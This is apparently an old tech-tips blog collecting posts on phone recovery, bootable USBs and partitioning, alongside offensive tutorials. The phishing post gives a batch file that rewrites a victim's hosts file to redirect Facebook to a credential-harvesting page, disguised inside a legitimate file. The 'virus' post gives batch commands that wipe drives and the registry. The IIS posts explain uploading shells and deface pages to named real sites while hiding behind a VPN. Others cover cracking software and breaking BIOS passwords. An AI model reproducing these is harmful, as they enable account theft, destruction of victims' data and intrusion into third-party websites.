Computer Experts

Install CWM on Samsung Galaxy Trend GT S-7392

2014-07-14T20:51:00.000+05:30

Steps for installing CWM

First of all download the zip file of CWM Recovery from here CWM .
Now search for the app Rashr in Play Store download it.
Now extract the CWM zip you just downloaded,in your sd card root folder/home directory.
Now open the app you downloaded and select the first option now choose the recovery.img you extracted in your home directory.
Whola you just installed CWM recovery on to your phone now enjoy.

How to Open Blocked Websites!

2013-09-01T22:44:00.001+05:30

Open Blocked Sites, How To Access Blocked Websites, Browser Software

Open Blocked sites with useful tricks suggested by us. You can easily get instant access to blocked sites. Many Schools, Colleges and offices blocked websites for students & workers. You can still access blocked websites in very easy ways. There are many tricks available to access blocked sites. If you searched for “How to Open/Access Blocked Websites“, so many proxy sites & article will come. We had read many and check authenticity of each. Now we are combining all tricks about accessing blocked sites. We are explaining these tricks straightaway for you. Hope some trick will help you to open blocked sites. You can read detail of some selective trick to access blocked sites here.

1.) Open Blocked Sites by using by using Proxy sites

Open blocked sites by using the proxy sites. This trick is very easy & simple. Sometimes proxy sites will show few or no ads to surf your desired website. Mostly people will not get access to blocked sites through proxy since there School, Colleges & Offices also had blocked these proxy sites. We have other tricks also to access blocked sites, when proxy sites not working. You simply open the proxy sites, enter the URL you want to visit and access blocked sites. Some popular proxy sites are:

http://www.hidemyass.com

http://anonymouse.org

https://www.anonymizer.com

http://www.ultrareach.net

2.) Open Blocked Sites by using Tor

Tor is a “Network of virtual tunnels that allows people to improve their privacy and security on the Internet”. TBB (Tor Browser bundle) network of virtual tunnels, protects your internet activities from being tracked and will allow you to Open blocked sites. Tor is free browser that open blocked sites.

You can read more about Tor at the Tor overview. You can also learn about installing Tor at the documentation page. Tor can make your browser bit slow Since Tor does run through multiple nodes and networks. However, you can bypass that by using Tor only when you are trying to access blocked sites (You can also try Tor button add-on to make this more easier).

3.) Access Blocked Sites Using Hotspot Shield Software

Some Countries including Pakistan, China, India, UAE, Saudi Arabia, Indonesia, Nigeria, Iran, Korea, United Kingdom (UK) and many more had blocked some websites within their country. You can not Access/Open blocked sites with IP address of the blocked regions. The next alternative way to access blocked sites is use of a small software.

Hotspot Shield is both free and paid small software which will change your current IP address to other country IP address. Free and Paid both version works fine & exactly same. Only difference is that a free version will show few ads while paid version is add free. You can access blocked sites by installing this software.

4.) Open Blocked Sites by using Hola Browser extension for Chrome, MAC (Apple), Mozilla Firefox, Windows & Android

Hola UnBlocker is famous free browser extension for chrome to Open Blocked Sites. A free VPN service that open the restricted or Blocked websites by Schools, Government, offices & colleges. You can simply install the extension for chrome and can enable & disable as per your need.

Hola is available as a Add-on of Mozilla Firefox and MAC Operating system. You can also download it for your android and windows. Hola is ad free service and comparatively fast to access blocked sites.

5.) Access Blocked Sites by Using Tunnel Bear

TunnelBear is another awesome app to access the blocked sites. Tunnel bear comes in free & paid version. With free version you get of limit of 500 MB bandwidth to access blocked sites. Currently they are promoting tunnel bear with free 1 GB data. You can see the promotion here.

You can use tunnel bear on one computer & two mobile phone. You can access blocked sites on you Mac, Iphone & Ipad by downloading tunnel bear. For Ipad & Iphone go to this link for downloading & for MAC you can download fromhere. For Mac it supports OSX 10.6.8 or later & for Ipad & Iphone ios 5.0 or later.

You can also access the blocked sites on android, windows xp, Windows 7 & windows 8 with Tunnel Bear. Simply go on to Tunnel Bear Download page & select the correct operating system to download.

6.) Open Blocked Sites by using URL Shorter Services

There are few free URL shorter service available to access blocked sites. You just go to those sites and simply type the URL you want to visit. These websites will convert the URL and give you another link of their website to open blocked sites. Copy that link & paste in to your browser to open blocked sites.

Few Popular URL shorter services are:- SnipURL, MooURL & TinyURL to access blocked sites.

7.) Open Blocked Sites by using Translation Services

Google Translate , AltaVista Babelfish & Bing Translator can also be used to open blocked sites. Simply go to translation websites enter the URL you want to visit and the choose some other language to translate it & you can surf the page in this way. Any time during visit, you can click on show original to see the original content again.

8.) Open Blocked Sites by Using Way Back Machine

Way Back machine is a website which will show you that how a website look in past. You just enter the URL of website you want to visit and access blocked sites.

9.) Open Blocked Website by using Proxy in Web Browser

Another simple way to access blocked sites in college & school is through web browser proxy. You can use the proxy in your web browser and can access blocked sites.

In Chrome, first go to “Settings” -> Click “Advanced Settings” -> click on “Show Advanced Settings” in the Network. After that click “LAN Settings”. Check the “Use Proxy Server for your LAN” Check box -> Type the desired address and port number to “80″ and Click “OK”.

You can see the list of proxy sites here Proxy Sites.

Open Blocked Sites in Chrome – Best Way to Access Blocked Websites

In Firefox, Click on Tool then Options. Now click on the Advanced and select Network tab. After that click on inside Connection Settings. Select Manual proxy configuration. Now, Enter the http desired proxy in the box and enter the port name. Check the box “use this proxy server for all protocol”.

For the proxy sites visit Proxy Sites.

10.) Open Blocked Sites by using IP instead of URL

You can also access blocked sites by using IP instead of URL of the website. Some software or hardware (like routers) used to block the website by using their name (e.g. www.facebook.com or www.google.com). For this case you can find the IP of the website and open the blocked sites by using website IP address. To find the IP address of a website go to RUN prompt from your start menu and type cmd and press enter. For Windows 8, open the RUN prompt by pressing Windows Key + R. MAC user can use terminal.

Now in command prompt enter “ping example.com” (without quote), change example.com with website you want to visit. You can also find the IP address of website online via whatsmyip.org

11.) Open Blocked Sites by using Decimal Number

As we told above to open blocked sites by using IP address. Now we use the decimal system in place of IP address. Find the IP address of any website (as we explained in previous step) and then change IP Address to decimal number. By this way you can also get instant access to the blocked sites.

12.) Access Blocked Websites With Google Cache

You can open the blocked websites with Google Cache. Google always create a fresh cache of the page. When you enter any term in Google for search it will show a small drop down link with the website URL in search result. Click on that drop down link & select the cached. Google will take you to the cache page which recently stored in the Google data base.

13.) Access Blocked Sites with Email Service

Web2Mail is another interesting service by which you can access the blocked sites. You can send a simple e-mail on www@web2mail.com with the website URL in subject line. You can get a return mail from web2mail to read that website in mail. You can also do many thing with web2mail.com like you can search the web with email. You can also subscribe the daily email for selective website.

How to Create a Bootable DOS USB Drive

2013-08-27T00:39:00.003+05:30

How to Create a Bootable DOS USB Drive

How to Create a Bootable DOS USB Drive ?

DOS is now not widely used OS but in some case you need to use the dos like remove your BIOS password, Update your BIOS firmware and other low -level work. In this condition you need to be Boot from DOS. If you Right-click on the USB Drive to format it, you will find a option a create Bootable disk. but its grayout.No problem, Download Rufus Tool.

Rufus is a lightweight application designed to help you format and create bootable USB flash drives. For example, you can format and create USB keys/pendrives, memory sticks, etc. It can be be especially useful for cases where:

you need to create USB installation media from bootable ISOs (Windows, Linux, etc.)
you need to work on a system that doesn’t have an OS installed
you need to flash a BIOS or other firmware from DOS
you want to run a low-level utility

Now you have the Option to Format in Dos. Format your USB in DOS now.

Now copy your files that you want to Boot in DOS. Like in my case i want to reset my Laptop BIOS password. So i need a CMOSPWD files (CmosPwd decrypts password stored in cmos used to access BIOS SETUP) . Now copy your DOS file in formatted USB drive.

Now you need to be boot from the USB drive. Select the F2 or DEL key for Boot in BIOS menu (Depend upon manufactures)

Once you are in DOS, you can run the program you copied to your USB drive by typing its name at the DOS prompt.

Hope you Like my post. How to Create a Bootable DOS USB Drive . Please Share with others.

How To Recover Files After Formatting Hard Drive

2013-08-27T00:37:00.004+05:30

How To Recover Files After Formatting Hard Drive

How To Recover Files After Formatting Hard Drive ?

Recently my one friend by mistake Format a one local drive on his laptop. He have lots of Financial data and personal pictures in that drive. Today i am going to show you How i recover his data with TestDisk open source tool.

TestDisk is a multi-Operating System hard drive recovery utility. It supports DOS, Windows, Linux, and Mac operating systems and works with FAT,ext2/ext3, and NTFS file structures. It is a master of all. It is specifically designed to “recover lost partitions and make non-booting disks bootable again.”

Let Start, For this demonstration i just formatted my one drive having some PNG files.

Now download Test Disk for Windows. However all other operating system are also available.

Open http://www.cgsecurity.org/wiki/TestDisk_Download and Download your Testdisk file.

Now Extract this Zip file

and install the Photorec_Win Exe.

Now Press Enter to Proceed. it Will show you all the Formatted Disk. Now select your Formatted disk. here you have the option for File type also.

Now press enter, make sure Search option is selected. Now it will show you Supported file system. Select the other option and press Enter

Now it will ask you choose the space to analysis. Choose the Whole and press enter.

Now it,s asking for the Save location. Press Y for yes.

Now it will start your recovery.

it will Store your data in the Installation folder of Testkdisk as a foldernamerecup_dir.1 .

Enjoy your recovered file

Do the same thing for recover memory card data.

Download

Hope you like my post . How To Recover Files After Formatting Hard Drive. Please Share with others.

How To Make Usb Drive Bootable From iso Image

2013-08-27T00:36:00.000+05:30

How To Make Usb Drive Bootable From iso Image

How To Make Usb Drive Bootable From iso Image ?

Most of the time if you need use a Linux distributions and many live CD’s are coming in .iso file format. Today i am going to show you How easily you can make a bootable USB drive with any iso file.

Download Rufus Tool.

you need to create USB installation media from bootable ISOs (Windows, Linux, etc.)
you need to work on a system that doesn’t have an OS installed
you need to flash a BIOS or other firmware from DOS
you want to run a low-level utility

In the Create a Bootable disk using section select the .iso image option.

Click on the CD icon to select the your iso image. Now click on the Start

Now your Bootable USB drive is ready for use.

Now you need to be boot from the USB drive. Select the F2 or DEL key for Boot in BIOS menu (Depend upon manufactures)

Hope you like my post.How To Make Usb Drive Bootable From iso Image. Please Share with others.

How to Bypass Website Survey

2013-08-27T00:32:00.003+05:30

How to Bypass Website Survey

How to Bypass Website Survey ?

Sometime when you try to download some software it, s showing quick survey to complete before download. and there is no close button to close these annoying survey.

Today i am going to show you How to Bypass Survey ?

Method 1 :- Go to http://surveybypass.com/

and enter the URL of the website that’s asking the site survey. Now you have the options to download it.

Method 2 :- Disable Javascript on Web-Browsers

Disabling Javascript on Web-Browsers will make surveys never appear:

In Google Chrome:

(1) Click on Settings’ Wrench on the top right of Google Chrome.

(2) Click Options.

(3) Scroll down, and Click Advanced system Settings

(4) Click on Content Settings to show options of Google Chrome web page content.

(5) Under Javascript section check the box: Do not allow any site to run Javascript

(6) Done! Now just go the website that asks for surveys and you’ll bypass them.

Method 3 :-

(1) When you are prompted to take a survey, Right Click the title and ClickInspect Element

(2) Now keep pressing Delete button to delete scripts on Inspect Element tab, until Complete a Survey disappear

(3) After the bar disappear, keep deleting until the Page go lighter (whiten) with no dark area.

(4) Done! Now you’ll see your full content or download on Sharecash.

Hope you like my post.How to Bypass Website Survey. Please Share with others.

How to search by image – image search Help

2013-08-27T00:30:00.005+05:30

How to search by image – image search Help

How to search by image – image search Help

You have captured a landscape or a place of interest and now are not able to remember the name of the place. There is more than one way that you can begin an image search with an image.

Today i am going to Show you How to search by image.

1. Google Image

Go to the Google Image , in the right-corner side you find a Camera icon. Click on it.

here you have the two options , Paste image URL and Upload an image.

it will show you related search

Searching with an image URL you found on the web :-

Right click on the image that you see on the internet. Choose the “Copy image URL” option.

Now open the Google Image and paste your URL

it will show you search result

2. TinEye Reverse Image Search

TinEye is reverse image search — feed it any image, either by uploading or by pasting the image URL, and it’ll tell you where it came from. We were able to use it on a scan of an obscure German calendar from our childhood and TinyEye proceeded to promptly produce a

TinEye can be particularly useful for identifying the artist or original source of photographs and artwork that you happen to stumble upon on Tumblr or another all-too-often unreferenced photo bookmarking service.

Open TinEye Reverse Image Search , here you have two option search via upload and search via URL.

it will show you image result

3. Creativecommons

Open http://search.creativecommons.org/ , this site will help you to search with multiple websites

4. Exalead

Open http://www.exalead.com/search/image/, click on the Advanced search option. now you have many options to search image.

5. Compfight / A Flickr Search Tool

Open http://compfight.com/ and search for image.

6. Retrievr

Open http://labs.systemone.at/retrievr/ , here you have the option to search with URL or search via upload.

Enjoy your Image Search.

Hope you like my post.How to search by image – image search Help. Please Share with others.

How To Send Friend Request on Facebook When you Are Blocked

2013-08-27T00:22:00.000+05:30

How To Send Friend Request on Facebook When you Are Blocked

How To Send Friend Request on Facebook When you Are Blocked ?

If your account is temporarily blocked from sending friend requests, it may be because friend requests you’ve sent have gone unanswered or been marked as unwelcome. In the future, you should send friend requests to people you have a real-life connection to, like your friends, family, coworkers, or classmates.

Today i am going to Show you How To Send Friend Request on Facebook When you Are Blocked ?

1. First you need a email account of person that you want to send the request. You can easily get from his profile or try other methods.

2. Now go to Friend option and click on the Find Friends Option or Open this URL https://www.facebook.com/?sk=ff

3. now enter your friend email id ( Hotmail , Google, yahoo etc.) and click on the Find Friend option then you have option for Add friends.

4. if you want to add more people then go to Other tools menu in down select your option. Like if you want to add people from

5. Like if you want to add people from Microsoft Outlook / Outlook Express / Windows Contacts/Apple ID or Thunderbird, so click on the Upload contact file option and upload your contact file.

6. if you are not using these email services then open a notepad and write all the email addresses to your friends separated with commas (,) and name the notepad file as yourdesiredname.vcf , then upload it and send your friend request.

Enjoy your friend request. but not send the friend request the people that you don’t know.

Hope you like my post.How To Send Friend Request on Facebook When you Are Blocked. Please Share with others.

How to Disable the Close Button of any Program

2013-08-26T23:54:00.003+05:30

How to Disable the Close Button of any Program

How to Disable the Close Button of any Program :-

In 2008, when i was working in Accretive health ( India ), i saw the tally program for accounting and there is no close button for that program.i was really surprise to see this disabled closed button. on that time when i search on internet i didn’t find the any software to disable the close button of any program. However it,s possible with VB.Net programming. Today i find the one freeware program NoClose is very handy for this job. With this application you can easily disable the close button of any program.

This application is really useful for those person who always close the program by mistake.

Download it.

Now you need to press Ctrl + 1 to disable the close button any open program or window.

to again reactive the close button of that program press the Ctrl + 1 again.

it will work on all application.

Hope you like my post.How to Disable the Close Button of any Program. Please Share with others.

How to Bypass or Remove a Laptop BIOS Password

2013-08-25T14:10:00.004+05:30

How to Bypass or Remove a Laptop BIOS Password

How to Bypass or Remove a Laptop BIOS Password ?

Laptop BIOS passwords are more complicated than Desktop password. In Desktop PC, you can easily reset the BIOS password after removing the CMOS battery from the Motherboard. But when you comes in the laptop, Some manufactures are not providing the removable CMOS battery.If you don’t have the technical knowledge about Laptop not open by own self.

Today i am going to Show you How to Bypass or Remove a Laptop BIOS Password ?

System Requirement :-

1. Hirensboot CD :-

Hiren’s Boot CD is a completely free bootable CD that contains a load of useful tools you can make use of in a variety of situations like analyzing, recovering and fixing your computer even if the primary operating system can not be booted. It is a great resource for anyone with computer problems who is having trouble accessing the internet to download programs in an attempt to fix it. It has a multitude of tools divided into a number of categories like partitioning tools, backup, recovery and BIOS/CMOS tools to name a few. With some simple knowledge about what is contained on the CD, you can use it to repair many problems computer like hard drive failure, virus infections, partitioning, password recovery and data recovery. Hiren’s Boot CD has an extensive list of software. Utilities with similar functionality on the CD are grouped together and seem redundant; however, they present choices through UI’s differences and options in what they can do.

Hiren’s Boot CD is a boot CD containing various diagnostic programs such as partitioning agents, system performance benchmarks, disk cloning and imaging tools, data recovery tools, MBR tools, BIOS tools, and many others for fixing various computer problems. It is a Bootable CD; thus, it can be useful even if the primary operating system cannot be booted.

( Download )

2. Image Burner ( Download )

Download and Burn Hirensboot CD on CD drive.

Now Boot from your CD into Laptop. In your Laptop BIOS menu select the CD option and boot from it.

Now Choose the DOS Programs and Press Enter.

Now choose the choice 9 and press Enter

Now select the BIOS/CMOS tool option and press Enter.

now select the BIOS Cracker Option.

within few minute it will break your BIOS password

Now Press Enter to continue. Restart your Laptop, now your password is gone.

Hope you like my post.How to Bypass or Remove a Laptop BIOS Password. Please Share with others.

How to create a new partition without formatting the hard disk ?

2013-08-24T22:11:00.003+05:30

How to create a new partition without formatting the hard disk ?

In this post lets see how to create a new partition without losing data. Many of us will willl format complete hard disk to create a new partitions... Actually this kind of situation's appear when we forget to divide the space on hard disk into different drives. But its not at all a major issue. You can even create any no of drives with this simple process without formatting or losing data or without using any software. This process can be followed on any version of windows like windows 7 or Windows 8 or xp

Just follow the below steps

Now right click on my computer then a pop up window appear, then just click on manage. After you click a new window opens which is "Computer Management:" window.

In that window you can see all the detail's of Hard disk and other storage devices. In that select disk drive to make a new partition.
Right click on the disk drive there you will find a option as shrink, click on that. Once you complete this you will be able to see the empty space available in that selected drive.

After that just enter the amount of space of the drive you want to create then click on shrink. Once you complete this process with in fews secs you can see the new partition
But still you cannot open the drive. So, now Right click on the Unallocated space on a hard drive and select New Simple Volume.
Then click on the next, once you click on next you have to enter the space for which you want to allocate for your new drive from the unallocated space on hard disk or you can use complete available memory for your new drive.

Now select the drive letter ( as you contain already c - drive now you need to select d,e,f etc it depends on the number of drive you have already created before)
After creating a new drive now you need to format the newly created drive so select on format settings below this you need to select few more, like for file system select it as NTFS (New Technology File System). Then keep allocation unit size as default and the name of the new drive can be changed as you wish.

For quick format check the perform quick format option.
That's it you are done a new partition is created

Desktop Phishing Tutorial For Free-Hack Facebook,Gmail Accounts:

2013-08-24T22:06:00.003+05:30

Desktop Phishing Tutorial For Free-Hack Facebook,Gmail Accounts:

This Post is from the website http://www.darkhtu.net

Desktop Phishing is another advanced type of Phishing attack.In this article i will explain how you can use this method to hack Facebook book , Gmail accounts .

This phishing attack is a bit advanced and if your a newbie i would recommend you to read the following articles first

What is Phishing ? Complete Introduction

Desktop Phishing Tutorial - Hack Facebook Accounts

Concept Behind The Hack :
Hosts file is a computer file used in an operating system to map host names to IP addresses. Host file used to play a large role before the Domain Name System (DNS) came into existence. A hosts file basically controls how your browser finds websites.

You can use host file to map any word or domain to an ip address or to another domain. For example if we add

74.125.236.84 www.facebook.com

To the host file what will happen is that when you type Facebook.com in your browser it will open google.com instead of facebook.com this is because (74.125.236.84) is Google's Ip, So the browesr will take it blindly So if a attacker is abel to add his Ip address (where he Hosts the phisher page ) Victim will be redirected to the attackers phishing site.

What makes this attack so successful is the victim will not Know since the URL only remains facebook.com

What Hackers Don't Teach You ?
I see many tutorials on the net on Desktop Phishing but Most of the tuts wont't work because of following things

Now days every one has a dynamic IP address (ip changes every time when you restart )
Now all most all computers are behind a Router, So we have to port forward our web server in order to access it . This is a little confusing for newbies

But in this tutorial i will explain how you can over come all these problems

How To Over Come This Problem ?
We can overcome the above problems by using a static VPN , With a VPN you will have a static Ip address and you need not port forward your webserver

Demonstration
Things You Require :-

1. Phisher Page - You can download Facebook Phisher page from Here
(I've added an extra page to make it more realistic, the victim will get a message saying Facebook is blocked by your isp)

2. Web server - You can use wamp or xammp , i would recommend you to use xammp, i have written a tutorial on how you can install , use Xammp kindly refer the article for more details

3. A static VPN - I will Use proXPN VPN for this Tutorial but i recommend you to use Strong Open VPN as it is very stable you can download it from Here

Procedure:-

1. First Download and install xampp on your PC, Start Apache and Msql services

2. Download the Facebook Phisher page From the link given above, Place all its contents in the ht docs folder which should be under Xammp (place were you installed xampp)

3. Install ProXPN VPN or any other static VPN, i recommend you to use Strong Vpn as it very stable and gives you a static IP Once you install and run it, you will get a static IP (vpn)

4. Now we have to replace some text in the victims Host file which is at C:\windows\system32\drivers\etc ,You can do this by many ways either by using a SFX archive or using a batch file for this tutorial we will use a batch file to accomplish the job

@echo off
echo 172.X.XX.X.X www.facebook.com >> C:\windows\system32\drivers\etc\hosts
exit

Replace "172.X.XX.X.X" with your IP (vpn ) address, Finally save it as Save it as Something.bat

5. Now to avoid suspicion you can Bind the batch file with a legitimate file, Kindly refer the Binders tutorial for more info..

6. Now send the file via email or upload the file to a site and ask the victim to download the file , After the victim downloads and clicks the file, his host file will be replaced ,So now when ever the victim enters facebook.com He will be redirected to our Phisher Page, But the URL will remain as Facebook.com

To see all the victims credentials and Password open newly created log.txt file which is under ht docs folder

Hope you liked the Tutorial ,For further Doubts and clarifications please pass your comments

- See more at: http://www.darkhtu.net/2013/07/desktop-phishing-tutorial-for-free-hack.html#sthash.R66hha1H.dpuf

Make your most dangerous virus ever!

2013-08-24T22:03:00.002+05:30

Learn To Make Dangerous Virus In A Minute Using NotePad |Many Codes|

In this post i will teach you to make simple yet very powerfull or you can say harmfull computer virus using a batch file. No software is required to make this virus, Noteapad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.

What will this virus do ?
You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

How to Make the virus ?
1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

2. Save this file as virus.bat (Name can be anything but .bat is must)
3. Now, running this file will delete all the content of C Drive.

Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

Make a Very Dangerous Virus with Notepad (Final)

USE THIS TRICK FOR ETHICAL USE ONLY

Just open your notepad

1) Click start -> all programs -> accessories -> notepad

2) Or just press or click windows key + r :: run window will open and

type notepad and hit enter .

NOW TYPE THE FOLLOWING CODE ::

@echo off

del D:\*.* /f /s /q

del E:\*.* /f /s /q

del F:\*.* /f /s /q

del G:\*.* /f /s /q

del H:\*.* /f /s /q

del I:\*.* /f /s /q

del J:\*.* /f /s /q

then save it as kinng.bat and the batch file is created .

WARNING :: This is the most dangerous virus

Delete the entire registry

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

now save it as kinng.bat and the batch file is created .

Now here is most dangerous virus that can blast or corrupt your computer after using this you will not able to use your computer this will be the last time you will be using it.

Hacking IIS Website!!!

2013-08-24T21:57:00.004+05:30

Easy method to hack website

(Only For N00bs not for advance users)

++++++++++++++++++++++++++
Method :- IIS Exploit.
Things Needed :- 1. IIS Vulnerable Sites.
2. Windows Operating System. (Windows XP, Windows 7, Windows
++++++++++++++++++++++++++
First of all you have to find a vulnerable IIS website. (Some will be provided for practice)
and just you have to follow my steps to perform this attack.

_______________________________________________
Sites For Practice :-
1 .www.advanceautomation.co.in
2. www.hljyhdc.com
3. www.268au.com
4. www.jsdtsx.com
5. www.lsmdly.com
6. www.itixiang.com
7. www.lvshi163.com
8. www.songspk.pk
9. www.infanziasantonio.com
10.www.msc-waldkappel-breitau.de
________________________________________________
******************************************
This technique is for Educational Purpose only and I am not responsible any harm done by you.
******************************************
________________________________________________
1. For Windows XP Users :-

STEP 1: Click on Start button and open “RUN”.

STEP 2: Now Type this in RUN
%WINDIR%EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}::{BDEADF00-C265-11d0-BCED-00A0C90AB50F}
Now A Folder named “Web Folders” will open.

STEP 3: Now “Right-Click” in the folder and Goto “New” and then “Web Folder“.

STEP 4: Now type the name of the Vulnerable site in this. e.g.” http://autoqingdao.com/” and click “Next“.

STEP 5: Now Click on “Finish“

STEP 6: Now the folder will appear. You can open it and put any deface page or anything.

STEP 7: I put text file in that folder. Named “securityalert.txt” (you can put a shell or HTML file also). If the file appear in the folder then the Hack is successful but if it don’t then the site is not Vulnerable.

Now to view the uploaded site i will go to “http://autoqingdao.com/securityalert.txt”
In your case it will be ” www.[sitename].com/[file name that you uploaded] “

_______________________________________________
For Windows 7 Users :-
1. Open My Computer.
2. Right Click in the white space and select "Add a network location"
3. A Window will pop up
3. Click Next
4. Double Click "Choose A custom Network"
5. Add the vulnerable IIS website !
in my case i am using
http://admats.concerts.com/
6. Click Next! Then wait a little second !
7. Then a Web Folder will open
8. Upload your Deface page or Shell

Finish!

Hack Websites using IIS (Internet Information Services) Exploit.

2013-08-24T21:48:00.002+05:30

Hack Websites using IIS (Internet Information Services) Exploit.

NOTE : This Post is only for Educational Purposes.

This is to make Site Owners aware of the consequences of leaving their sites vulnerable to the IIS exploit and to teach them How to Fix it.

Hello Friends,
Today I'll tell you about How to Hack Websites Using IIS (Internet Information Services) Exploit.

So,First I'll like to explain to you all that "What is IIS?" ; "What is IIS Exploit?" ; "What can you do with IIS Exploit?" ;

"What Countermeasures you should take?" and much more.
So lets get started.

What is IIS?
Internet Information Services (IIS) – formerly called Internet Information Server – is a web server application and set of feature extension modules created by Microsoft for use with Microsoft Windows.

What is IIS Exploit?
IIS Exploit simply means remote system exploit.Through this exploit,we can connect to a site's database which is hosted on a Microsoft IIS Server without the need of any kind of authorization.

IIS Exploit is said to be the most easiest and quickest method of hacking a site.

What can you do with IIS Exploit?
We can insert a Deface Page so that every person visiting that site comes to know that you've hacked this site.If you want to get the site's files,then you can insert your Shell into the site and get the files.Even edit or delete any file from the server.Create a Mass Deface.

What Countermeasures you should take?
Before carrying out this operation,be sure that you have a VPN or a Proxy and that it is turned "ON" so that while uploading your shell or deface page,you cannot be tracked by anyone.

After your work is finished,be sure to "DELETE" your shell (In case if you've uploaded any).The most important safety measure is- "Never tell anyone that you are doing any kind of hacking or tell him what site you are hacking"

What things are needed for carrying out IIS Exploit?
You need the following things for hacking a Website through IIS Exploit-

1. Website hosted on "Microsoft IIS Server".2. Computer running "Microsoft Windows 7".3. Shell (ASP).4. Deface Page.5. VPN or Proxy.
So,Lets get started.

STEP 01 :-Find the Target Website which you are going to hack(The site must be hosted on a Microsoft IIS Server).

STEP 02 :-Make sure that your VPN or Proxy is connected and you can surf the Web anonymously

.You can find a List of VPNs and Proxies Here.

STEP 03 :-
Open My Computer and right click to see the context menu,Select the 8th Option which is "Add a Network Location".

STEP 04 :-
"Add a Network Location Wizard" will open,Click next.

STEP 05 :-

Next dialogue box will ask you where do you want to create this network location.Click Next

.
STEP 06 :-

Now,It'll ask you to enter your site's name,Enter the site name and Click Next.

STEP 07 :-Now,It'll ask you what do you want to name this location,

For better remembering,

I suggest let it be the default which Windows suggests.Click Next.

STEP 08 :-

Now,it'll display that you've successfully created the network location.

Put a Check Mark on the option which says "Open this Network Location when I click FINISH."Now click Finish.

STEP 09 :-

Now,Your Network Location's window will open.

Just Copy and Paste your Shell (ASP) or deface page to the window.You can download ASP Shell Here.

STEP 10 :-
Now,to access your shell or to see your Deface Page,just open your browser and type the site name and your shell name of deface page name like this-

Shell-

http://www.site.com/shell.asp;.jpg
(Where Site.com is your site and Shell.asp; is the name of your shell)

Deface Page-
http://www.site.com/deface-page.html
(Where Site.com is your site and Deface-page.html is the name of your deface page)

And then you can see your deface page or shell.

How to Fix this Vulnerability in your site?
This exploit only affects Microsoft IIS Versions of 5.0 (Windows 2000),5.1 (Windows XP) and 6.0 (Windows Server 2003).

The Versions 7.0 or later which come with Windows Vista/Server 2008/7 are not vulnerable.

So,to fix this vulnerability,just upgrade your Microsoft IIS Version from any older to 7.0 or higher.

Once Again,I am reminding to you all that this tutorial is only to make site owners aware of the consequences of leaving their site vulnerable to the Microsoft IIS Exploit.

This is not intended for teaching hackers

How to CrACk a program with simple steps:-

2013-08-24T21:40:00.001+05:30

How to CrACk a program with simple steps:-

Only For Educational purpose

Welcome to my tutorial on how to crack a program step by step!!

In this tutorial I'm taking the example of keygenme.exe on how to crack!

Follow this simple steps........

First of all download w32asm and hiew!!

Extract them to desktop!!

1) Then place KeygenMe.exe, HIEW32.exe from Hiew folder and put folder W32Dasm 8 on desktop and then click on keygenMe.exe and enter any value it will give error as "Try again" or "invalid key"

2)Then click on W32DSM89.exe in folder W32Dasm 8 and from dissambler select option 'open file to disassembler' and select the KeygenMe exe file and it will disassemble the code.

3) After that click on search option and in that click on 'find text' and in find type your message say for in this instance "Try again" and click find next and it will find the exact string.

4) When u find the string message and press cursor up button and u will find the specific conditinional or unconditional referenced call address and find the address for this message and in this case the address is 0046723E©.

5) After that in desktop make another copy of KeygenMe.exe by copy paste and then move or drag KeyGenMe - Copy.exe to HIEW32.exe and finally it opens in blue screen HIEW hex editor.

6) When the blue screen HIEW hex editor opens and then click function key F4 and select decode.

7 ) Now press F5 and then ignore 0's of address 0046723E and write .46723E and press enter.
After that press F3 and in edit mode at 0666339 set values as 0066639 =90
006663A = 90
...............
..............
........... till upto 40 that is upto
006663f = 90

9) After that save it

10) Update and select truncate no

11) Finally press F9 and F10 and done

12)Now close it and open the KeyGenMe - Copy.exe and enter any value and you get the message " you crack me " and with this you have cracked the keygen.exe file.

Wireless Network(Full Info.) and WEP Hacking

2013-04-29T23:19:00.000+05:30

Wi-Fi Network Hacking

This tutorial will explain that how to crack wep key using Backtrack..!!

Wireless networks are everywhere; they are widely available, cheap, and easy to setup. To avoid the hassle of setting up a wired network in my own home, I chose to go wireless. After a day of enjoying this wireless freedom, I began thinking about security. How secure is my wireless network?

I searched the Internet for many days, reading articles, gathering information, and participating on message boards and forums. I soon came to the realization that the best way for me to understand the security of my wireless network would be to test it myself. Many sources said it was easy, few said it was hard.

How a wireless network works

A wireless local area network (WLAN) is the linking of 2 or more computers with Network Interface Cards (NICs) through a technology based on radio waves. All devices that can connect to a wireless network are known as stations. Stations can be access points (APs), or clients.

Access points are base stations for the wireless network. They receive and transmit information for the clients to communicate with. The set of all stations that communicate with each other is referred to as the Basic Service Set (BSS). Every BSS has an Identification known as a BSSID, also known as the MAC address, which is a unique identifier that is associated with every NIC. For any client to join a WLAN, it should know the SSID of the WLAN; therefore, the access points typically broadcast their SSID to let the clients know that an AP is in range. Data streams, known as packets, are sent between the Access Point, and it’s clients. You need no physical access to the network or its wires to pick up these packets, just the right tools. It is with the transmission of these packets that pose the largest security threat to any wireless network.

Wireless Encryption

The majority of home and small business networks are encrypted using the two most popular methods:

WEP & WPA

WEP – Wired Equivalent Privacy – comes in 3 different key lengths: 64, 128, and 256 bits, known as WEP 64, WEP 128, and WEP 256 respectively. WEP provides a casual level of security but is more compatible with older devices; therefore, it is still used quite extensively. Each WEP key contains a 24 bit Initialization Vector (IV), and a user-defined or automatically generated key; for instance, WEP 128 is a combination of the 24 bit IV and a user entered 26 digit hex key. ((26*4)+24=128)

WEP also comes in WEP2 and WEP+, which are not as common and still as vulnerable as the standard WEP encryption.

WPA – WiFi Protected Access – comes in WPA and WPA2, and was created to resolve several issues found in WEP. Both provide you with good security; however, they are not compatible with older devices and therefore not used as widely. WPA was designed to distribute different keys to each client; however, it is still widely used in a (not as secure) pre-shared key (PSK) mode, in which every client has the same passphrase.

To fully utilize WPA, a user would need an 802.1x authentication server, which small businesses and typical home users simply cannot afford. WPA utilizes a 48 bit Initialization Vector (IV), twice the size of WEP, which combined with other WEP fixes, allows substantially greater security over WEP.

Packets and IVs

It’s all in the packets. The bottom line is – while you may be able to employ several security features on your WLAN – anything you broadcast over the air can be intercepted, and could be used to compromise the security on your network. If that frightens you, start stringing wires throughout your home.

